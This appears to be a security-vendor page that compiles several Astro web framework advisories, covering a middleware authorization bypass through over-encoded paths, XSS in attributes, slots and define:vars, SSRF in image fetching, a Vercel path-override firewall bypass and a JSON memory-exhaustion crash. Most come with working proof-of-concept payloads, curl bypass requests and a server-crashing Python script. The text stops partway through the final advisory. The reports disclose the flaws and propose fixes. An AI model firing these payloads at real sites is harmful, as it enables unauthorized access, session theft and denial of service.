See how astro compares to other vendors in security performance
Astro is a web framework for content-driven websites. From 10.0.3 until 11.0.3, the Astro Vercel adapter in packages/integrations/vercel/src/serverless/entrypoint.ts accepts xastropath for the public /isr function based only on the x-vercel-isr header, allowing unauthenticated GET requests to render routes protected only by Vercel edge path rules or split edge middleware. This issue is fixed in 11.0.3.
The Astro Booking Engine plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.4.0. This is due to missing nonce validation on the options deletion functionality. This makes it possible for unauthenticated attackers to delete all plugin settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.
Astro 6.4.7 Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch
Summary
Astro 6.4.7 appears to reintroduce a middleware authorization bypass pattern when a request path is encoded more deeply than the newly introduced iterative URL decoder's maximum decoding depth.
The issue occurs because Astro performs authorization decisions on a partially decoded pathname after reaching a decoding iteration cap, while later route matching logic performs an additional decodeURI() operation and resolves the request to a protected route.
As a result, middleware and route matching may operate on different pathname representations, enabling authorization bypasses under specific application patterns.
Potential CWE: CWE-647 – Use of Non-Canonical URL Paths for Authorization Decisions
---
Vulnerable Pattern
Middleware authorization sees:
text /%61dmin
Later rewrite route matching sees:
text /admin
This discrepancy allows a request that bypasses middleware checks to subsequently resolve to a protected route.
---
Root Cause
Iterative Decoding Logic
PR #16967 introduced iterative URI decoding:
js let iterations = 0;
while (decoded !== pathname && iterations < 10) { pathname = decoded;
try { decoded = decodeURI(pathname); } catch { // decodeURI can fail when a decoded literal '%' forms an // invalid sequence with adjacent characters. break; }
iterations++; }
return decoded;
The intent was to ensure middleware receives a fully decoded canonical pathname.
However, once the iteration cap is reached, Astro returns the partially decoded value instead of rejecting the request.
---
Rewrite Route Matching
Later, Astro performs another decode during route matching:
js const decodedPathname = decodeURI(pathname);
Consequently:
text Middleware pathname: /%61dmin Route matcher: /admin
This creates a canonicalization mismatch between authorization logic and routing logic.
---
Proof of Concept
Middleware
js import { defineMiddleware } from 'astro:middleware';
export const onRequest = defineMiddleware(async (context, next) => { const pathname = context.url.pathname;
if (pathname === '/admin' || pathname.startsWith('/admin/')) { return new Response( '403 Forbidden: middleware blocked canonical /admin', { status: 403, headers: { 'content-type': 'text/plain;charset=UTF-8', 'x-middleware-pathname': pathname, }, } ); }
if (pathname !== '/') { const response = await next(context.url);
response.headers.set('x-middleware-pathname', pathname); response.headers.set( 'x-vuln-pattern', 'next(context.url) rewrite after pathname check' );
return response; }
return next(); });
The critical pattern is:
js return next(context.url);
The middleware makes an authorization decision using a non-canonical path and then forwards the URL into Astro's rewrite machinery.
---
Reproduction
Protected Route
bash curl -i http://127.0.0.1:8989/admin
Response:
http HTTP/1.1 403 Forbidden x-middleware-pathname: /admin
403 Forbidden: middleware blocked canonical /admin
---
Bypass Request
bash curl -i http://127.0.0.1:8989/%252525252525252525252561dmin
Response:
http HTTP/1.1 200 OK x-middleware-pathname: /%61dmin x-vuln-pattern: next(context.url) rewrite after pathname check
Admin page reached Protected content rendered after rewrite route matching. request url: http://127.0.0.1:8989/%61dmin
This demonstrates:
text Middleware saw: /%61dmin Router reached: /admin
---
Encoding Depth Analysis
The bypass occurs at encoding depth 11.
Decoder Trace
text depth 0: /%61dmin -> /admin depth 1: /%2561dmin -> /admin depth 2: /%252561dmin -> /admin depth 3: /%25252561dmin -> /admin depth 4: /%2525252561dmin -> /admin depth 5: /%252525252561dmin -> /admin depth 6: /%25252525252561dmin -> /admin depth 7: /%2525252525252561dmin -> /admin depth 8: /%252525252525252561dmin -> /admin depth 9: /%25252525252525252561dmin -> /admin depth 10: /%2525252525252525252561dmin -> /admin depth 11: /%252525252525252525252561dmin -> /%61dmin
Depths 0–10 are fully decoded and blocked by middleware.
Depth 11 is the first depth where Astro returns a partially decoded pathname due to the iteration limit.
A later decodeURI() converts:
text /%61dmin
into:
text /admin
allowing route matching to reach the protected endpoint.
---
Exploit Preconditions
Exploitation requires:
1. Path-Based Authorization
Middleware performs authorization using:
js context.url.pathname
For example:
js if (context.url.pathname === '/admin') { block(); }
2. Rewrite-Based Routing
The request is subsequently passed into Astro routing via:
js next(context.url)
or equivalent rewrite behavior that performs route matching after middleware execution.
---
Impact
An unauthenticated attacker may bypass middleware protections guarding routes such as:
text /admin /api/admin /internal /dashboard
if the application:
1. Relies on pathname-based authorization checks. 2. Uses rewrite behavior that performs route matching after middleware execution.
Affected applications may expose protected pages or APIs despite middleware restrictions.
---
Security Analysis
The issue belongs to the same vulnerability class as the previously disclosed Astro middleware encoding bypass.
Previous advisories demonstrated bypasses using:
text /%2561dmin
to reach:
text /admin
The 6.4.7 fix attempted to ensure middleware receives a canonical pathname by repeatedly decoding URL-encoded paths.
However, because decoding is capped at 10 iterations and partially decoded paths are returned, an attacker can simply increase encoding depth beyond the cap and recreate the authorization-routing mismatch.
The existence of a decoding limit is not itself problematic.
The vulnerability arises because Astro:
1. Stops decoding. 2. Returns a partially canonicalized pathname. 3. Performs additional decoding later during route matching.
Authorization and routing therefore operate on different pathname representations.
---
Recommended Fix
Do not return partially decoded pathnames when the iteration limit is exceeded.
Instead, reject the request whenever decoding has not stabilized before reaching the cap.
Example Fix
js let iterations = 0;
while (decoded !== pathname) { if (iterations >= 10) { throw new Error('URL encoding depth exceeded'); }
pathname = decoded;
try { decoded = decodeURI(pathname); } catch { break; }
iterations++; }
return decoded;
Additional Hardening
Astro should centralize pathname canonicalization and ensure routing logic never performs an additional independent decodeURI() on values that have already been normalized.
Authorization and route matching must operate on the exact same canonical pathname representation.
---
Conclusion
Astro 6.4.7 appears vulnerable to an authorization bypass caused by a pathname canonicalization mismatch introduced by the iterative decoding limit.
When URL encoding depth exceeds the decoder's maximum iteration count, middleware receives a partially decoded pathname while later route matching performs additional decoding and resolves the request to a protected route.
This can allow unauthorized access to routes protected by pathname-based middleware authorization and should be addressed by rejecting over-encoded paths or ensuring a single canonical pathname representation is used throughout request processing.
Summary
The spreadAttributes function in Astro's server-side rendering pipeline iterates over object keys and passes them directly to addAttribute, which interpolates the key into the HTML output without escaping. When a developer uses the spread syntax {...props} on an HTML element and the object keys come from an untrusted source (API, CMS, URL parameters), an attacker can inject arbitrary HTML attributes including event handlers like onmousemove, onclick, or break out of the attribute context entirely to inject new elements.
Details
The vulnerable function is addAttribute at packages/astro/src/runtime/server/render/util.ts:81-141:
javascript export function addAttribute(value: any, key: string, shouldEscape = true, tagName = '') { if (value == null) { return ''; } return markHTMLString( ${key}="${toAttributeString(value, shouldEscape)}"); // key interpolated not escaped }
This function is called from spreadAttributes at packages/astro/src/runtime/server/index.ts:91-92:
javascript for (const [key, value] of Object.entries(values)) { output += addAttribute(value, key, true, name); }
The toAttributeString function escapes the attribute value, but the attribute name key is never validated or escaped. An attacker can craft a JSON object with a key containing " characters to break out of the attribute context and inject event handlers.
Execution flow: User controlled object keys (from API, CMS, URL params) are spread onto element via {...props}. The compiler generates spreadAttributes(props) which iterates with Object.entries() and calls addAttribute(value, key). The key is interpolated as ${key}="${escapedValue}" . A malicious key breaks attribute context, resulting in XSS.
POC
Create an SSR Astro page (src/pages/index.astro):
astro --- const props = JSON.parse(Astro.url.searchParams.get('props') || '{}'); --- <html> <body> <h1>Hello</h1> <div {...props}>Move mouse here</div> </body> </html> Enable SSR in astro.config.mjs (for URL based demo):
javascript export default defineConfig({ output: 'server' });
Note: SSR is not required for the vulnerability to exist. In static builds (default), the attack vector is compromised data sources at build time (API, CMS, database). SSR simply makes the PoC easier to demonstrate via URL parameters.
Start the dev server and visit:
http://localhost:4321/?props={"x\" onmousemove=\"alert(document.cookie)\" y":""}
URL encoded:
http://localhost:4321/?props=%7B%22x%5C%22%20onmousemove%3D%5C%22alert(document.cookie)%5C%22%20y%22%3A%22%22%7D
View the HTML source. The output contains:
html <div x" onmousemove="alert(document.cookie)" y="">Move mouse here</div>
The key x" onmousemove="alert(document.cookie)" y breaks out of the attribute context. Moving the mouse over the div executes the JavaScript.
<img width="1919" height="992" alt="Captura de tela 2026-06-02 005906" src="https://github.com/user-attachments/assets/ef69c12e-7edf-472e-97d1-3dfa540e61b4" />
Impact
An attacker can execute arbitrary JavaScript in the context of a victim's browser session on any Astro application that spreads object props from untrusted sources onto HTML elements. This is a common pattern when integrating with external APIs or CMS systems. Exploitation enables session hijacking via cookie theft, credential theft by injecting fake login forms or keyloggers, defacement of the rendered page, and redirection to attacker controlled domains.
The vulnerability affects all Astro versions that support spread syntax on HTML elements and is exploitable in SSR, SSG (if build time data is compromised), and hybrid deployments.
Summary
Astro SSR apps with prerendered error pages (/404 or /500 using export const prerender = true) fetch those pages over HTTP at runtime when an error occurs. The URL for this fetch is derived from request.url, which in turn gets its origin from the incoming Host header. When the Host header is not validated against allowedDomains, an attacker can point the fetch at an arbitrary host and read the response.
Who is affected
This affects SSR deployments that:
1. Have a prerendered 404 or 500 page 2. Use createRequestFromNodeRequest from astro/app/node with app.render() without overriding prerenderedErrorPageFetch — this includes custom servers built on the public API and third-party adapters
Not affected: - @astrojs/node >= 9.5.4 (reads error pages from disk) - @astrojs/cloudflare (uses the ASSETS binding) - The dev server (renders error pages in-process)
How it works
createRequestFromNodeRequest builds request.url from the raw Host / :authority header. The allowedDomains option is accepted but only gates X-Forwarded-For — it does not constrain the URL origin. (The public createRequest does fall back to localhost for unvalidated hosts; this internal builder did not.)
When app.render() encounters a 404 or 500 with a prerendered error route, default-handler.ts constructs the error page URL using the origin from request.url and fetches it via prerenderedErrorPageFetch, which defaults to global fetch. The response body is served to the client.
An attacker sends a request with Host: attacker-host:port, triggers an error (e.g., requesting a nonexistent path for a 404), and receives the response from the attacker-controlled host reflected back.
Remediation
The error page fetch origin is now validated against allowedDomains before use. When the host is validated, the original origin is preserved. Otherwise, it falls back to localhost. The fetch is also wrapped in a try/catch so that connection failures degrade gracefully to a plain error response.
Credit
5ud0 / Tarmo Technologies
Summary
When a component uses a client: directive, Astro inserts named slot content into a data-astro-template attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR.
This is similar to GHSA-wrwg-2hg8-v723 but exploits a different injection point.
Vulnerable Code
packages/astro/src/runtime/server/render/component.ts:371:376
ts // component.ts:371 <template data-astro-template${key !== 'default' ? ="${key}" : ''}>${children[key]}</template>
I found that key is interpolated directly into the attribute value without proper escaping.
Proof of Concept
For the PoC, I set up with a minimal repository with Astro 6.3.1, Node.js: v26.0.0.
astro.config.mjs js import react from '@astrojs/react'; import node from '@astrojs/node'; import { defineConfig } from 'astro/config'; export default defineConfig({ output: 'server', adapter: node({ mode: 'standalone' }), integrations: [react()], });
src/pages/index.astro astro --- import Wrapper from '../components/Wrapper.jsx'; const slotName = Astro.url.searchParams.get('tab') ?? 'default'; --- <html><body> <Wrapper client:load> <div slot={slotName}>content</div> </Wrapper> </body></html>
src/components/Wrapper.jsx jsx export default function Wrapper() { return null; }
Payload: abc"></template></astro-island><img src=x onerror=confirm(document.domain)><!-- Accessing this URL will trigger the popup.
http://localhost:4321/?tab=abc%22%3E%3C%2Ftemplate%3E%3C%2Fastro-island%3E%3Cimg+src%3Dx+onerror%3Dconfirm(document.domain)%3E%3C!--
<img width="1268" height="592" alt="image" src="https://github.com/user-attachments/assets/675cdc04-4134-4d83-883c-abe16d751ec7" />
This will render in html.
html <template data-astro-template="abc"></template></astro-island> <img src=x onerror=confirm(document.domain)><!--">content</template>
Fix
I suggest leveraging the existing escape function on the slot name.
ts // component.ts:371 <template data-astro-template${key !== 'default' ? ="${escapeHTML(String(key))}" : ''}>${children[key]}</template>
---
Impact
Astro versions prior to 6.1.10 used AES-GCM encryption to protect the confidentiality and integrity of server island props and slots parameters, but did not bind the ciphertext to its intended component or parameter type. An attacker could replay one component's encrypted props (p) value as another component's slots (s) value, or vice versa.
Since slots contain raw unescaped HTML while props may contain user-controlled values, this could lead to XSS in applications that meet all of the following conditions:
- The application uses server islands - Two different server island components share the same key name for a prop and a slot - An attacker has full control over the value of the overlapping prop (requires a dynamically rendered page)
These conditions are very unlikely to occur in real-world production applications.
Patches
This has been patched in astro@6.1.10.
The fix binds each encrypted parameter to its target component and purpose using AES-GCM authenticated additional data (AAD). Each ciphertext now includes context like props:IslandName or slots:IslandName, so encrypted data for one component cannot be replayed against a different component, and encrypted props cannot be reused as slots.
References
- Fix PR: https://github.com/withastro/astro/pull/16457 - Example demonstrating the vulnerability: https://github.com/CyberSecurityAustria/ACSC2026-web-astronomical
Summary
The defineScriptVars function in Astro's server-side rendering pipeline uses a case-sensitive regex /<\/script>/g to sanitize values injected into inline <script> tags via the define:vars directive. HTML parsers close <script> elements case-insensitively and also accept whitespace or / before the closing >, allowing an attacker to bypass the sanitization with payloads like </Script>, </script >, or </script/> and inject arbitrary HTML/JavaScript.
Details
The vulnerable function is defineScriptVars at packages/astro/src/runtime/server/render/util.ts:42-53:
typescript export function defineScriptVars(vars: Record<any, any>) { let output = ''; for (const [key, value] of Object.entries(vars)) { output += const ${toIdent(key)} = ${JSON.stringify(value)?.replace( /<\/script>/g, // ← Case-sensitive, exact match only '\\x3C/script>', )};\n; } return markHTMLString(output); }
This function is called from renderElement at util.ts:172-174 when a <script> element has define:vars:
typescript if (name === 'script') { delete props.hoist; children = defineScriptVars(defineVars) + '\n' + children; }
The regex /<\/script>/g fails to match three classes of closing script tags that HTML parsers accept per the HTML specification §13.2.6.4:
1. Case variations: </Script>, </SCRIPT>, </sCrIpT> — HTML tag names are case-insensitive but the regex has no i flag. 2. Whitespace before >: </script >, </script\t>, </script\n> — after the tag name, the HTML tokenizer enters the "before attribute name" state on ASCII whitespace. 3. Self-closing slash: </script/> — the tokenizer enters "self-closing start tag" state on /.
JSON.stringify() does not escape <, >, or / characters, so all these payloads pass through serialization unchanged.
Execution flow: User-controlled input (e.g., Astro.url.searchParams) → assigned to a variable → passed via define:vars on a <script> tag → renderElement → defineScriptVars → incomplete sanitization → injected into <script> block in HTML response → browser closes the script element early → attacker-controlled HTML parsed and executed.
PoC
Step 1: Create an SSR Astro page (src/pages/index.astro):
astro --- const name = Astro.url.searchParams.get('name') || 'World'; --- <html> <body> <h1>Hello</h1> <script define:vars={{ name }}> console.log(name); </script> </body> </html>
Step 2: Ensure SSR is enabled in astro.config.mjs:
js export default defineConfig({ output: 'server' });
Step 3: Start the dev server and visit:
http://localhost:4321/?name=</Script><img/src=x%20onerror=alert(document.cookie)>
Step 4: View the HTML source. The output contains:
html <script>const name = "</Script><img/src=x onerror=alert(document.cookie)>"; console.log(name); </script>
The browser's HTML parser matches </Script> case-insensitively, closing the script block. The <img onerror=alert(document.cookie)> is then parsed as HTML and the JavaScript in onerror executes.
Alternative bypass payloads:
/?name=</script ><img/src=x onerror=alert(1)> /?name=</script/><img/src=x onerror=alert(1)> /?name=</SCRIPT><img/src=x onerror=alert(1)>
Impact
An attacker can execute arbitrary JavaScript in the context of a victim's browser session on any SSR Astro application that passes request-derived data to define:vars on a <script> tag. This is a documented and expected usage pattern in Astro.
Exploitation enables: - Session hijacking via cookie theft (document.cookie) - Credential theft by injecting fake login forms or keyloggers - Defacement of the rendered page - Redirection to attacker-controlled domains
The vulnerability affects all Astro versions that support define:vars and is exploitable in any SSR deployment where user input reaches a define:vars script variable.
Recommended Fix
Replace the case-sensitive exact-match regex with a comprehensive escape that covers all HTML parser edge cases. The simplest correct fix is to escape all < characters in the JSON output:
typescript export function defineScriptVars(vars: Record<any, any>) { let output = ''; for (const [key, value] of Object.entries(vars)) { output += const ${toIdent(key)} = ${JSON.stringify(value)?.replace( /</g, '\\u003c', )};\n; } return markHTMLString(output); }
This is the standard approach used by frameworks like Next.js and Rails. Replacing every < with \u003c is safe inside JSON string contexts (JavaScript treats \u003c as < at runtime) and eliminates all possible </script> variants including case variations, whitespace, and self-closing forms.
Summary This issue concerns Astro's remotePatterns path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for / wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass.
Impact Attackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix.
Description Taint flow: request -> transform.src -> isRemoteAllowed() -> matchPattern() -> matchPathname()
User-controlled href is parsed into transform.src and validated via isRemoteAllowed():
Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/astro/src/assets/endpoint/generic.ts#L43-L56
ts const url = new URL(request.url); const transform = await imageService.parseURL(url, imageConfig);
const isRemoteImage = isRemotePath(transform.src);
if (isRemoteImage && isRemoteAllowed(transform.src, imageConfig) === false) { return new Response('Forbidden', { status: 403 }); }
isRemoteAllowed() checks each remotePattern via matchPattern():
Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L15-L21
ts export function matchPattern(url: URL, remotePattern: RemotePattern): boolean { return ( matchProtocol(url, remotePattern.protocol) && matchHostname(url, remotePattern.hostname, true) && matchPort(url, remotePattern.port) && matchPathname(url, remotePattern.pathname, true) ); }
The vulnerable logic in matchPathname() uses replace() without anchoring the prefix for / patterns:
Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L85-L99
ts } else if (pathname.endsWith('/')) { const slicedPathname = pathname.slice(0, -1); // length const additionalPathChunks = url.pathname .replace(slicedPathname, '') .split('/') .filter(Boolean); return additionalPathChunks.length === 1; }
Vulnerable code flow: 1. isRemoteAllowed() evaluates remotePatterns for a requested URL. 2. matchPathname() handles pathname: "/img/" using .replace() on the URL path. 3. A path such as /evil/img/secret incorrectly matches because /img/ is removed even when it's not at the start. 4. The image endpoint fetches and returns the remote resource.
PoC
The PoC starts a local attacker server and configures remotePatterns to allow only /img/. It then requests the image endpoint with two URLs: an allowed path and a bypass path with /img/ in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed.
Vulnerable config js import { defineConfig } from 'astro/config'; import node from '@astrojs/node';
export default defineConfig({ output: 'server', adapter: node({ mode: 'standalone' }), image: { remotePatterns: [ { protocol: 'https', hostname: 'cdn.example', pathname: '/img/' }, { protocol: 'http', hostname: '127.0.0.1', port: '9999', pathname: '/img/' }, ], }, });
Affected pages This PoC targets the /image endpoint directly; no additional pages are required.
PoC Code python import http.client import json import urllib.parse
HOST = "127.0.0.1" PORT = 4321
def fetch(path: str) -> dict: conn = http.client.HTTPConnection(HOST, PORT, timeout=10) conn.request("GET", path, headers={"Host": f"{HOST}:{PORT}"}) resp = conn.getresponse() body = resp.read(2000).decode("utf-8", errors="replace") conn.close() return { "path": path, "status": resp.status, "reason": resp.reason, "headers": dict(resp.getheaders()), "bodysnippet": body[:400], }
allowed = urllib.parse.quote("http://127.0.0.1:9999/img/allowed.svg", safe="") bypass = urllib.parse.quote("http://127.0.0.1:9999/evil/img/secret.svg", safe="")
Both pass, second should fail
results = { "allowed": fetch(f"/image?href={allowed}&f=svg"), "bypass": fetch(f"/image?href={bypass}&f=svg"), }
print(json.dumps(results, indent=2))
Attacker server python from http.server import BaseHTTPRequestHandler, HTTPServer
HOST = "127.0.0.1" PORT = 9999
PAYLOAD = """<svg xmlns=\"http://www.w3.org/2000/svg\"> <text>OK</text> </svg> """
class Handler(BaseHTTPRequestHandler): def doGET(self): print(f">>> {self.command} {self.path}") if self.path.endswith(".svg") or "/img/" in self.path: self.sendresponse(200) self.sendheader("Content-Type", "image/svg+xml") self.sendheader("Cache-Control", "no-store") self.endheaders() self.wfile.write(PAYLOAD.encode("utf-8")) return
self.sendresponse(200) self.sendheader("Content-Type", "text/plain") self.endheaders() self.wfile.write(b"ok")
def logmessage(self, format, args): return
if name == "main": server = HTTPServer((HOST, PORT), Handler) print(f"HTTP logger listening on http://{HOST}:{PORT}") server.serveforever()
PoC Steps 1. Bootstrap default Astro project. 2. Add the vulnerable config and attacker server. 3. Build the project. 4. Start the attacker server. 5. Start the Astro server. 6. Run the PoC. 7. Observe the console output showing both the allowed and bypass requests returning the SVG payload.
Summary
The @astrojs/vercel serverless entrypoint reads the x-astro-path header and xastropath query parameter to rewrite the internal request path, with no authentication whatsoever. On deployments without Edge Middleware, this lets anyone bypass Vercel's platform-level path restrictions entirely.
The override preserves the original HTTP method and body, so this isn't limited to GET. POST, PUT, DELETE all land on the rewritten path. A Firewall rule blocking /admin/ does nothing when the request comes in as POST /api/health?xastropath=/admin/delete-user.
Affected Versions
Verified against: - Astro 5.18.1 + @astrojs/vercel 9.0.4 — GET and POST override both work. Full exploitation. - Astro 6.0.3 + @astrojs/vercel 10.0.0 — GET override works. POST/DELETE hit a duplex bug in the Request constructor (the duplex: 'half' option is required when passing a ReadableStream body — this has been an issue since Node.js 18 but is consistently enforced in the Node.js 22+ runtime that Astro 6 requires). This is not a security fix — the code explicitly passes body: request.body and intends to preserve it. Once the missing duplex option is added, all methods will be exploitable on v6 as well.
The vulnerable code path is identical across both versions.
Affected Component
- Package: @astrojs/vercel - File: packages/integrations/vercel/src/serverless/entrypoint.ts (lines 19–28) - Constants: packages/integrations/vercel/src/index.ts (lines 44–45)
Vulnerable Code
The handler blindly trusts the caller-supplied path:
typescript const realPath = request.headers.get(ASTROPATHHEADER) ?? url.searchParams.get(ASTROPATHPARAM); if (typeof realPath === 'string') { url.pathname = realPath; // no validation, no auth request = new Request(url.toString(), { method: request.method, // preserved headers: request.headers, // preserved body: request.body, // preserved }); }
What makes this worse is the inconsistency. x-astro-locals right below it is gated behind middlewareSecret, but x-astro-path gets nothing:
typescript // x-astro-locals: protected if (astroLocalsHeader) { if (middlewareSecretHeader !== middlewareSecret) { return new Response('Forbidden', { status: 403 }); } locals = JSON.parse(astroLocalsHeader); } // x-astro-path: no equivalent check (lines 19-28 above)
Conditions
1. Astro + @astrojs/vercel adapter 2. output: 'server' (SSR) 3. No src/middleware.ts defined, or middleware not using Edge mode
This is a realistic production configuration. Middleware is optional and many deployments skip it.
The x-astro-path mechanism exists for a legitimate purpose: when Edge Middleware is present, it forwards requests to a single serverless function (render) and uses this header to communicate the original path. The Edge Middleware always overwrites any client-supplied value with the correct one. But when no Edge Middleware is configured, requests hit the serverless function directly, and the override is exposed to external callers with no protection.
Proof of Concept
Setup: minimal Astro SSR project on Vercel, no middleware. Routes: /public (page), /api/health (API endpoint), /admin/secret (page), /admin/delete-user (API endpoint). Vercel Firewall blocks /admin/.
GET — page content override: bash curl "https://target.vercel.app/public?xastropath=/admin/secret" Returns: PAGEID: admin-secret
GET — API route override: bash curl "https://target.vercel.app/api/health?xastropath=/admin/delete-user" Returns: {"pageId":"admin-delete-user","message":"This is a protected admin API endpoint","method":"GET"}
Header override: bash curl -H "x-astro-path: /admin/secret" https://target.vercel.app/public Returns: PAGEID: admin-secret
Vercel Firewall bypass (GET): bash Direct access — blocked curl https://target.vercel.app/admin/secret Returns: Forbidden
Via override — Firewall sees /public, serves /admin/secret curl "https://target.vercel.app/public?xastropath=/admin/secret" Returns: PAGEID: admin-secret
Vercel Firewall bypass (POST) — verified on Astro 5.x: bash Direct access — blocked curl -X POST -H "Content-Type: application/json" -d '{"userId":"123"}' \ https://target.vercel.app/admin/delete-user Returns: Forbidden
Via override — Firewall sees /api/health, executes POST /admin/delete-user curl -X POST -H "Content-Type: application/json" -d '{"userId":"123"}' \ "https://target.vercel.app/api/health?xastropath=/admin/delete-user" Returns: {"action":"delete-user","status":"deleted","method":"POST"}
The Firewall evaluates the original path. The serverless function serves the overridden path. Method and body carry over.
ISR is not affected. Vercel's cache layer appears to intercept before the function runs.
Impact
Firewall/WAF bypass — read (Critical): Any path-based restriction in Vercel Dashboard or vercel.json (IP blocks, geo restrictions, rate limits scoped to specific paths) can be bypassed for GET requests. Protected page content and API responses are fully readable.
Firewall/WAF bypass — write (Critical): POST/PUT/DELETE requests also bypass Firewall rules. The method and body are preserved through the override, so any write endpoint behind path-based restrictions is reachable. Verified on Astro 5.x; on 6.x this is blocked by an unrelated duplex bug in the Request constructor, not by any security check.
Audit log mismatch (Medium): Vercel logs record the original request path and query string (e.g. /public?xastropath=/admin/secret), so the override parameter is technically visible. However, the logged path (/public) does not reflect the path actually served (/admin/secret). Detecting this attack from logs requires knowing what xastropath means — standard monitoring and alerting based on request paths will not catch it.
Prior Art
CVE-2025-29927 (Next.js): x-middleware-subrequest header injectable by external clients, bypassing middleware. Same class of vulnerability.
Summary
Astro's Server Islands POST handler buffers and parses the full request body as JSON without enforcing a size limit. Because JSON.parse() allocates a V8 heap object for every element in the input, a crafted payload of many small JSON objects achieves ~15x memory amplification (wire bytes to heap bytes), allowing a single unauthenticated request to exhaust the process heap and crash the server. The /server-islands/[name] route is registered on all Astro SSR apps regardless of whether any component uses server:defer, and the body is parsed before the island name is validated, so any Astro SSR app with the Node standalone adapter is affected.
Details
Astro automatically registers a Server Islands route at /server-islands/[name] on all SSR apps, regardless of whether any component uses server:defer. The POST handler in packages/astro/src/core/server-islands/endpoint.ts buffers the entire request body into memory and parses it as JSON with no size or depth limit:
js // packages/astro/src/core/server-islands/endpoint.ts (lines 55-56) const raw = await request.text(); // full body buffered into memory — no size limit const data = JSON.parse(raw); // parsed into V8 object graph — no element count limit
The request body is parsed before the island name is validated, so the attacker does not need to know any valid island name — /server-islands/anything triggers the vulnerable code path. No authentication is required.
Additionally, JSON.parse() allocates a heap object for every array/object in the input, so a payload consisting of many empty JSON objects (e.g., [{},{},{},...]) achieves ~15x memory amplification (wire bytes to heap bytes). The entire object graph is held as a single live reference until parsing completes, preventing garbage collection. An 8.6 MB request is sufficient to crash a server with a 128 MB heap limit.
PoC
Environment: Astro 5.18.0, @astrojs/node 9.5.4, Node.js 22 with --max-old-space-size=128.
The app does not use server:defer — this is a minimal SSR setup with no server island components. The route is still registered and exploitable.
Setup files:
package.json: json { "name": "poc-server-islands-dos", "scripts": { "build": "astro build", "start": "node --max-old-space-size=128 dist/server/entry.mjs" }, "dependencies": { "astro": "5.18.0", "@astrojs/node": "9.5.4" } }
astro.config.mjs: js import { defineConfig } from 'astro/config'; import node from '@astrojs/node';
export default defineConfig({ output: 'server', adapter: node({ mode: 'standalone' }), });
src/pages/index.astro: astro --- --- <html> <head><title>Astro App</title></head> <body> <h1>Hello</h1> <p>Just a plain SSR page. No server islands.</p> </body> </html>
Dockerfile: dockerfile FROM node:22-slim WORKDIR /app COPY package.json . RUN npm install COPY . . RUN npm run build EXPOSE 4321 CMD ["node", "--max-old-space-size=128", "dist/server/entry.mjs"]
docker-compose.yml: yaml services: astro: build: . ports: - "4321:4321" deploy: resources: limits: memory: 256m
Reproduction:
bash Build and start docker compose up -d
Verify server is running curl http://localhost:4321/ => 200 OK
crash.py: python import requests
Any path under /server-islands/ works — no valid island name needed TARGET = "http://localhost:4321/server-islands/x"
3M empty objects: each {} is ~3 bytes JSON but ~56-80 bytes as V8 object 8.6 MB on wire → ~180+ MB heap allocation → exceeds 128 MB limit n = 3000000 payload = '[' + ','.join(['{}'] n) + ']' print(f"Payload: {len(payload) / (10241024):.1f} MB")
try: r = requests.post(TARGET, data=payload, headers={"Content-Type": "application/json"}, timeout=30) print(f"Status: {r.statuscode}") except requests.exceptions.ConnectionError: print("Server crashed (OOM killed)")
$ python crash.py Payload: 8.6 MB Server crashed (OOM killed)
$ curl http://localhost:4321/ curl: (7) Failed to connect to localhost port 4321: Connection refused
$ docker compose ps NAME IMAGE COMMAND SERVICE CREATED STATUS PORTS (empty — container was OOM killed)
The server process is killed and does not recover. Repeated requests in a containerized environment with restart policies cause a persistent crash-restart loop.
Impact
Any Astro SSR app with the Node standalone adapter is affected — the /server-islands/[name] route is registered by default regardless of whether any component uses server:defer. Unauthenticated attackers can crash the server process with a single crafted HTTP request under 9 MB. In containerized environments with memory limits, repeated requests cause a persistent crash-restart loop, denying service to all users. The attack requires no authentication and no knowledge of valid island names — any value in the [name] parameter works because the body is parsed before the name is validated.
Summary
A bug in Astro's image pipeline allows bypassing image.domains / image.remotePatterns restrictions, enabling the server to fetch content from unauthorized remote hosts.
Details
Astro provides an inferSize option that fetches remote images at render time to determine their dimensions. Remote image fetches are intended to be restricted to domains the site developer has manually authorized (using the image.domains or image.remotePatterns options).
However, when inferSize is used, no domain validation is performed — the image is fetched from any host regardless of the configured restrictions. An attacker who can influence the image URL (e.g., via CMS content or user-supplied data) can cause the server to fetch from arbitrary hosts.
PoC
<details>
Setup
Create a new Astro project with the following files:
package.json: json { "name": "poc-ssrf-infersize", "private": true, "scripts": { "dev": "astro dev --port 4322", "build": "astro build" }, "dependencies": { "astro": "5.17.2", "@astrojs/node": "9.5.3" } }
astro.config.mjs — only localhost:9000 is authorized: javascript import { defineConfig } from 'astro/config'; import node from '@astrojs/node';
export default defineConfig({ output: 'server', adapter: node({ mode: 'standalone' }), image: { remotePatterns: [ { hostname: 'localhost', port: '9000' } ] } });
internal-service.mjs — simulates an internal service on a non-allowlisted host (127.0.0.1:8888): javascript import { createServer } from 'node:http'; const GIF = Buffer.from('R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==', 'base64'); createServer((req, res) => { console.log([INTERNAL] Received: ${req.method} ${req.url}); res.writeHead(200, { 'Content-Type': 'image/gif', 'Content-Length': GIF.length }); res.end(GIF); }).listen(8888, '127.0.0.1', () => console.log('Internal service on 127.0.0.1:8888'));
src/pages/test.astro: astro --- import { getImage } from 'astro:assets';
const result = await getImage({ src: 'http://127.0.0.1:8888/internal-api', inferSize: true, alt: 'test' }); --- <html><body> <p>Width: {result.options.width}, Height: {result.options.height}</p> </body></html>
Steps to reproduce
